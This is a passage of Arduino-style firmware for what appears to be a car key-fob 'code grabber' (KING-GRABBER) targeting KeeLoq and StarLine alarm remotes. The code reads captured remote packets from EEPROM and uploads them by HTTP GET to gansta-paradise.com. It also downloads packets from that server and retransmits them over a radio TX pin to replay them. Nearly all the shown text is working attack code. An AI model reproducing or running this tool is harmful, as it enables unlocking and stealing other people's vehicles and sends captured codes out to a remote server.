| keelog_codePAK1zapis[6]=EEPROM.read(56); | |
| keelog_codePAK1zapis[7]=EEPROM.read(57); | |
| keelog_codePAK1zapis[8]=EEPROM.read(58); | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER1kee.php?"); | |
| client.print("pak0="); | |
| client.print( keelog_codePAK1zapis[0],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( keelog_codePAK1zapis[1],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( keelog_codePAK1zapis[2],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( keelog_codePAK1zapis[3],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( keelog_codePAK1zapis[4],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( keelog_codePAK1zapis[5],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( keelog_codePAK1zapis[6],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( keelog_codePAK1zapis[7],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( keelog_codePAK1zapis[8],HEX ); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| //keyloh p1 end///////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| /////////////////////////////binnnnnnnnnnnnnnnnnnnnn | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER1keeBIN.php?"); | |
| client.print("pak0="); | |
| client.print( keelog_codePAK1zapis[0] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( keelog_codePAK1zapis[1]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( keelog_codePAK1zapis[2] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( keelog_codePAK1zapis[3] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( keelog_codePAK1zapis[4]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( keelog_codePAK1zapis[5] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( keelog_codePAK1zapis[6]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( keelog_codePAK1zapis[7] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( keelog_codePAK1zapis[8]); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| //keyloh p2///////////////////////////////////////////////////////////////////////////////////////////// | |
| EEPROM.begin(3512); | |
| keelog_codePAK2zapis[0]=EEPROM.read(60); | |
| keelog_codePAK2zapis[1]=EEPROM.read(61); | |
| keelog_codePAK2zapis[2]=EEPROM.read(62); | |
| keelog_codePAK2zapis[3]=EEPROM.read(63); | |
| keelog_codePAK2zapis[4]=EEPROM.read(64); | |
| keelog_codePAK2zapis[5]=EEPROM.read(65); | |
| keelog_codePAK2zapis[6]=EEPROM.read(66); | |
| keelog_codePAK2zapis[7]=EEPROM.read(67); | |
| keelog_codePAK2zapis[8]=EEPROM.read(68); | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER2kee.php?"); | |
| client.print("pak0="); | |
| client.print( keelog_codePAK2zapis[0],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( keelog_codePAK2zapis[1],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( keelog_codePAK2zapis[2],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( keelog_codePAK2zapis[3],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( keelog_codePAK2zapis[4],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( keelog_codePAK2zapis[5],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( keelog_codePAK2zapis[6],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( keelog_codePAK2zapis[7],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( keelog_codePAK2zapis[8],HEX ); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| ////////////////////////////////////BIIIIIIIIIIIIIIIIIIINNNNNNNNNNNNNNNNNNNNNN///////////////////////////// | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER2keeBIN.php?"); | |
| client.print("pak0="); | |
| client.print( keelog_codePAK2zapis[0] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( keelog_codePAK2zapis[1] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( keelog_codePAK2zapis[2]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( keelog_codePAK2zapis[3]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( keelog_codePAK2zapis[4]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( keelog_codePAK2zapis[5]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( keelog_codePAK2zapis[6]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( keelog_codePAK2zapis[7]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( keelog_codePAK2zapis[8]); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| else { | |
| // If Arduino can't connect to the server (your computer or web page) | |
| Serial.println("--> connection failed\n"); | |
| } | |
| //////////////////keyloh 2 pak end////////////////////////////////////////////// | |
| //////////////////////////////////////////////////////////////////// | |
| } | |
| void starline_sendPAK2zub1(byte* starline_codePAK1zapisSBTR){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(starline_codePAK1zapisSBTR[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(starline_codePAK1zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(starline_codePAK1zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void starline_sendPAK2zub2(byte* starline_codePAK2zapisSBTR){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(starline_codePAK2zapisSBTR[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(starline_codePAK2zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(starline_codePAK2zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void keelog_sendzibaruy(byte* keelog_codePAK1zapisSBTR){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(keelog_codePAK1zapisSBTR[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(keelog_codePAK1zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(keelog_codePAK1zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void keelog_sendzibaruy2(byte* keelog_codePAK2zapisSBTR){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(keelog_codePAK2zapisSBTR[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(keelog_codePAK2zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(keelog_codePAK2zapisSBTR[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| ////////////////////////////////////////////////////////////////bit vvod send////////////////////////////////////// | |
| void starline_sendVVOD1(byte* VVOD1){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(VVOD1[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(VVOD1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(VVOD1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void starline_sendVVOD2(byte* VVOD1){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(VVOD2[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(VVOD2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(VVOD2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| /////////////////////////////keevvod/////////////////////////////////// | |
| void keelog_sendVVOD1(byte* VVOD1){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(VVOD1[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(VVOD1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(VVOD1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| //////////////////////////////////////22222222222222222222222222////////////////////////////////////// | |
| void keelog_sendVVOD2(byte* VVOD2){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(VVOD2[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(VVOD2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(VVOD2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| ///////////////////////////////////////////////////////////////////////////////////////////WEB READE////////////////////////////////////////////////////////// | |
| void webcoderead() | |
| { | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.print(" "); | |
| display.print("webread"); | |
| display.display(); | |
| HTTPClient http; //Declare an object of class HTTPClient | |
| http.begin("http://gansta-paradise.com/king-codes/pak1.txt"); //Specify request destination | |
| int httpCode = http.GET(); //Send the request | |
| if (httpCode > 0) { //Check the returning code | |
| String payload = http.getString(); //Get the request response payload | |
| // String payload2 = http.getString(); | |
| /// Serial.println(payload); //Print the response payload | |
| char pak1[100]; | |
| payload.toCharArray(pak1, 30); | |
| //int xweb; | |
| //int zyuio[3] = {pak1[0],pak1[1],pak1[2]}; | |
| ///xweb = zyuio[3]; | |
| ///char* pak11[10]; | |
| char* p = pak1; | |
| char* str333; | |
| int i = 0; | |
| while ((str333 = strtok_r(p, ";", &p)) != NULL) { | |
| //// display.println(str333); | |
| int zoka = atoi(str333); | |
| EEPROM.begin(3512); | |
| EEPROM.write(200+i, zoka); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| ///display.println(pak1[i]); | |
| i++; | |
| } | |
| EEPROM.begin(3512); | |
| webpak1[0]=EEPROM.read(200); | |
| webpak1[1]=EEPROM.read(201); | |
| webpak1[2]=EEPROM.read(202); | |
| webpak1[3]=EEPROM.read(203); | |
| webpak1[4]=EEPROM.read(204); | |
| webpak1[5]=EEPROM.read(205); | |
| webpak1[6]=EEPROM.read(206); | |
| webpak1[7]=EEPROM.read(207); | |
| webpak1[8]=EEPROM.read(208); | |
| //display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 20); | |
| display.setTextSize(0.1); | |
| display.print("pak1"); | |
| display.print("-"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(200),HEX); | |
| display.print(EEPROM.read(201),HEX); | |
| display.print(EEPROM.read(202),HEX); | |
| display.print(EEPROM.read(203),HEX); | |
| display.print(EEPROM.read(204),HEX); | |
| display.print(EEPROM.read(205),HEX); | |
| display.print(EEPROM.read(206),HEX); | |
| display.print(EEPROM.read(207),HEX); | |
| display.print(EEPROM.read(208),HEX); | |
| display.display(); | |
| } | |
| http.end(); //Close connection | |
| // for(int i = 0; i<9; i++){ | |
| // display.print(webpak1[i],HEX); | |
| // delay(3); | |
| // / | |
| // display.display(); | |
| // } | |
| delay(3000); //Send a request every 30 seconds | |
| //////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| ///HTTPClient http; //Declare an object of class HTTPClient | |
| http.begin("http://gansta-paradise.com/king-codes/pak2.txt"); //Specify request destination | |
| int httpCode2 = http.GET(); //Send the request | |
| if (httpCode2 > 0) { //Check the returning code | |
| String payload2 = http.getString(); //Get the request response payload | |
| // String payload2 = http.getString(); | |
| /// Serial.println(payload); //Print the response payload | |
| char pak2[100]; | |
| payload2.toCharArray(pak2, 30); | |
| char* p2 = pak2; | |
| char* str3333; | |
| int i = 0; | |
| while ((str3333 = strtok_r(p2, ";", &p2)) != NULL) { | |
| //// display.println(str333); | |
| int zoka2 = atoi(str3333); | |
| EEPROM.begin(3512); | |
| EEPROM.write(210+i, zoka2); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| ///display.println(pak1[i]); | |
| i++; | |
| } | |
| EEPROM.begin(3512); | |
| webpak2[0]=EEPROM.read(210); | |
| webpak2[1]=EEPROM.read(211); | |
| webpak2[2]=EEPROM.read(212); | |
| webpak2[3]=EEPROM.read(213); | |
| webpak2[4]=EEPROM.read(214); | |
| webpak2[5]=EEPROM.read(215); | |
| webpak2[6]=EEPROM.read(216); | |
| webpak2[7]=EEPROM.read(217); | |
| webpak2[8]=EEPROM.read(218); | |
| //display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 40); | |
| display.setTextSize(0.3); | |
| display.println(); | |
| display.print("pak2"); | |
| display.print("-"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(210),HEX); | |
| display.print(EEPROM.read(211),HEX); | |
| display.print(EEPROM.read(212),HEX); | |
| display.print(EEPROM.read(213),HEX); | |
| display.print(EEPROM.read(214),HEX); | |
| display.print(EEPROM.read(215),HEX); | |
| display.print(EEPROM.read(216),HEX); | |
| display.print(EEPROM.read(217),HEX); | |
| display.print(EEPROM.read(218),HEX); | |
| display.display(); | |
| } | |
| http.end(); //Close connection | |
| // for(int i = 0; i<9; i++){ | |
| // display.print(webpak2[i],HEX); | |
| // delay(3); | |
| // display.display(); | |
| // } | |
| delay(3000); //Send a request every 30 seconds | |
| } | |
| //////////////////////////////////////////////////////////////////////END WEB CODE READ//////////////////////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////////////////web codeb send///////////////////////////////////// | |
| void starline_sendwebpak1(byte* webpak1){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(webpak1[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(webpak1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(webpak1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void starline_sendwebpak2(byte* webpak2){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(webpak2[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(webpak2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(webpak2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void keelog_sendwebpak1(byte* webpak1){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(webpak1[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(webpak1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(webpak1[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void keelog_sendwebpak2(byte* webpak2){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(webpak2[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(webpak2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(webpak2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| ////////////////////////////////////////////////////////parol ////////////////////////////////////////////////////////////////// | |
| void parol(){ | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.print("VVEDI PAROL"); | |
| display.display(); | |
| delay(1000); | |
| while(parolking<3){ | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.println(); | |
| display.print(parolvvod[0]); | |
| display.print(parolvvod[1]); | |
| display.print(parolvvod[2]); | |
| display.print(parolvvod[3]); | |
| display.print(parolvvod[4]); | |
| display.print(parolvvod[5]); | |
| ///display.print(parolvvod[3]); | |
| display.println(); | |
| display.print(i1p); | |
| display.print("-"); | |
| display.print(yach); | |
| display.display(); | |
| delay(10); | |
| if(digitalRead(9)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| delay(100); | |
| i1p++; | |
| if(i1p>9){ | |
| i1p=0; | |
| } | |
| if(i1p<1){ | |
